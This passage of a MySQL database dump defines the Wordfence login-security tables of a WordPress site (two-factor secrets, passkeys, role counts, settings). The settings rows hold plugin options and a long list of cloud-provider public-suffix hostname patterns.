  `recovery` blob NOT NULL,
  `ctime` int(10) unsigned NOT NULL,
  `vtime` int(10) unsigned NOT NULL,
  `mode` enum('authenticator') NOT NULL DEFAULT 'authenticator',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfls_2fa_secrets`
--

LOCK TABLES `wp4v_wfls_2fa_secrets` WRITE;
/*!40000 ALTER TABLE `wp4v_wfls_2fa_secrets` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfls_2fa_secrets` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfls_passkeys`
--

DROP TABLE IF EXISTS `wp4v_wfls_passkeys`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfls_passkeys` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL,
  `credential_id` varbinary(1023) NOT NULL,
  `credential_id_hash` binary(32) NOT NULL,
  `public_key` blob NOT NULL,
  `sign_count` bigint(20) unsigned NOT NULL DEFAULT 0,
  `transports` varchar(255) DEFAULT NULL,
  `label` varchar(255) DEFAULT NULL,
  `user_handle` varbinary(255) DEFAULT NULL,
  `ctime` int(10) unsigned NOT NULL,
  `mtime` int(10) unsigned NOT NULL,
  `last_used_at` int(10) unsigned DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `credential_id_hash` (`credential_id_hash`),
  KEY `user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfls_passkeys`
--

LOCK TABLES `wp4v_wfls_passkeys` WRITE;
/*!40000 ALTER TABLE `wp4v_wfls_passkeys` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfls_passkeys` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfls_role_counts`
--

DROP TABLE IF EXISTS `wp4v_wfls_role_counts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfls_role_counts` (
  `serialized_roles` varbinary(255) NOT NULL,
  `two_factor_inactive` tinyint(1) NOT NULL,
  `passkey_inactive` tinyint(1) NOT NULL,
  `user_count` bigint(20) unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`serialized_roles`,`two_factor_inactive`,`passkey_inactive`)
) ENGINE=MEMORY DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfls_role_counts`
--

LOCK TABLES `wp4v_wfls_role_counts` WRITE;
/*!40000 ALTER TABLE `wp4v_wfls_role_counts` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfls_role_counts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfls_settings`
--

DROP TABLE IF EXISTS `wp4v_wfls_settings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfls_settings` (
  `name` varchar(191) NOT NULL DEFAULT '',
  `value` longblob DEFAULT NULL,
  `autoload` enum('no','yes') NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfls_settings`
--

LOCK TABLES `wp4v_wfls_settings` WRITE;
/*!40000 ALTER TABLE `wp4v_wfls_settings` DISABLE KEYS */;
INSERT INTO `wp4v_wfls_settings` VALUES
('2fa-user-grace-period','10','yes'),
('allow-disabling-ntp','1','yes'),
('allow-xml-rpc','1','yes'),
('always-show-login-security-menu','1','yes'),
('captcha-stats','{\"counts\": [0,0,0,0,0,0,0,0,0,0,0], \"avg\": 0}','yes'),
('delete-deactivation','','yes'),
('disable-temporary-tables','','yes'),
('dismissed-fresh-install-modal','','yes'),
('enable-2fa','','yes'),
('enable-auth-captcha','','yes'),
('enable-login-history-columns','1','yes'),
('enable-passkeys','','yes'),
('enable-shortcode','','yes'),
('enable-woocommerce-account-integration','','yes'),
('enable-woocommerce-integration','','yes'),
('global-notices','[]','yes'),
('ip-source','','yes'),
('ip-trusted-proxies','','yes'),
('last-secret-refresh','1789251104','yes'),
('ntp-failure-count','0','yes'),
('ntp-offset','0.16883563995361','yes'),
('passkey-hostname-warning-version','0','yes'),
('passkey-relying-party-override','','yes'),
('passkey-sign-count-mode','reject-lower','yes'),
('public-suffix-list','[\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.001\\\\.test\\\\.code\\\\-builder\\\\-stg\\\\.platform\\\\.salesforce\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.cn\\\\-north\\\\-1\\\\.on\\\\.amazonwebservices\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.cn\\\\-northwest\\\\-1\\\\.on\\\\.amazonwebservices\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-north\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-2\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cn\\\\-north\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cn\\\\-northwest\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-central\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-north\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.rds\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.rds\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-central\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-central\\\\-2\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-2\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-1\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-2\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-3\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"auth\\\\.cognito\\\\-idp\\\\.eusc\\\\-de\\\\-east\\\\-1\\\\.on\\\\.amazonwebservices\\\\.eu\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-website\\\\.dualstack\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\.dualstack\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\.dualstack\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"transfer\\\\-webapp\\\\.cn\\\\-north\\\\-1\\\\.on\\\\.amazonwebservices\\\\.com\\\\.cn\",\"transfer\\\\-webapp\\\\.cn\\\\-northwest\\\\-1\\\\.on\\\\.amazonwebservices\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.af\\\\-south\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.af\\\\-south\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.af\\\\-south\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-east\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-northeast\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-northeast\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-northeast\\\\-3\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-south\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-south\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-southeast\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-southeast\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-southeast\\\\-3\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-southeast\\\\-4\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ap\\\\-southeast\\\\-5\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ca\\\\-central\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.ca\\\\-west\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-central\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-central\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-north\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-south\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-south\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-west\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-west\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.eu\\\\-west\\\\-3\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.il\\\\-central\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.me\\\\-central\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.me\\\\-south\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.sa\\\\-east\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.us\\\\-east\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.us\\\\-east\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.us\\\\-west\\\\-1\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.airflow\\\\.us\\\\-west\\\\-2\\\\.on\\\\.aws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-east\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-east\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-east\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-3\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-northeast\\\\-3\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-south\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-3\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-3\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-4\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-4\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-5\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-5\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-6\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-7\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ap\\\\-southeast\\\\-7\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ca\\\\-central\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ca\\\\-central\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ca\\\\-west\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ca\\\\-west\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.compute\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.elb\\\\.amazonaws\\\\.com\\\\.cn\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-central\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-central\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-central\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-central\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-north\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-south\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-south\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-3\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eu\\\\-west\\\\-3\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.il\\\\-central\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.il\\\\-central\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.me\\\\-central\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.me\\\\-central\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.me\\\\-south\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.me\\\\-south\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.mx\\\\-central\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.r\\\\.cloud\\\\.int\\\\.apple\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sa\\\\-east\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sa\\\\-east\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-east\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-northeast\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-1\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-1\\\\.rds\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-2\\\\.airflow\\\\.amazonaws\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.us\\\\-west\\\\-2\\\\.rds\\\\.amazonaws\\\\.com\",\"app\\\\.os\\\\.stg\\\\.fedoraproject\\\\.org\",\"cn\\\\-north\\\\-1\\\\.eb\\\\.amazonaws\\\\.com\\\\.cn\",\"cn\\\\-northwest\\\\-1\\\\.eb\\\\.amazonaws\\\\.com\\\\.cn\",\"emrappui\\\\-prod\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"emrappui\\\\-prod\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"emrnotebooks\\\\-prod\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"emrnotebooks\\\\-prod\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"emrstudio\\\\-prod\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"emrstudio\\\\-prod\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"execute\\\\-api\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"execute\\\\-api\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"functions\\\\.fnc\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"it1\\\\.eur\\\\.aruba\\\\.jenv\\\\-aruba\\\\.cloud\",\"mrap\\\\.accesspoint\\\\.s3\\\\-global\\\\.amazonaws\\\\.com\",\"nodes\\\\.k8s\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"nodes\\\\.k8s\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"nodes\\\\.k8s\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"notebook\\\\.cn\\\\-north\\\\-1\\\\.sagemaker\\\\.com\\\\.cn\",\"notebook\\\\.cn\\\\-northwest\\\\-1\\\\.sagemaker\\\\.com\\\\.cn\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\-fips\\\\.dualstack\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.cn\\\\-north\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-accesspoint\\\\.cn\\\\-northwest\\\\-1\\\\.amazonaws\\\\.com\\\\.cn\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-accesspoint\\\\.dualstack\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"